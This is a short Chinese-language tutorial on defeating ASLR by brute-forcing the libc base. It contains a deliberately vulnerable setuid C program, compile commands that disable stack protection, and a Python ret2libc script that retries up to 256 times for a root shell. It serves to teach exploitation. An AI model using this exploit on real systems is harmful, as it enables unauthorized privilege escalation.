(1)原理:
使用爆破技巧,来绕过共享库地址随机化。爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。这个技巧是用于绕过 ASLR 的最简单的技巧。
(2)漏洞代码
//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buf[256]; strcpy(buf,argv[1]); printf("%s ",buf); fflush(stdout); return 0; }
编译
echo 2 > /proc/sys/kernel/randomize_va_space gcc -fno-stack-protector -g -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln
(3)当随机化打开时不同的 Libc 基址
上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。
(4)攻击代码
#exp.py #!/usr/bin/env python import struct from subprocess import call libc_base_addr = 0x161dd8 #随便选择一个基址即可 exit_off = 0x001a615c system_off = 0x0003f430 binsh_off=0x161dd8 system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off binsh_arg = binsh_off+libc_base_addr #endianess convertion def conv(num): return struct.pack("<I",num) buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(binsh_arg) bufl="" print "Calling vulnerable program" #Multiple tries until we get lucky i = 0 while (i < 256): print "Number of tries: %d" %i i += 1 ret = call(["./vuln", buf]) if (not ret): break else: print "Exploit failed"
获得system和exit偏移地址:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
(5)从网站https://libc.blukat.me/获得/bin/sh偏移地址
(6)执行程序 $python exp.py,获得root shell。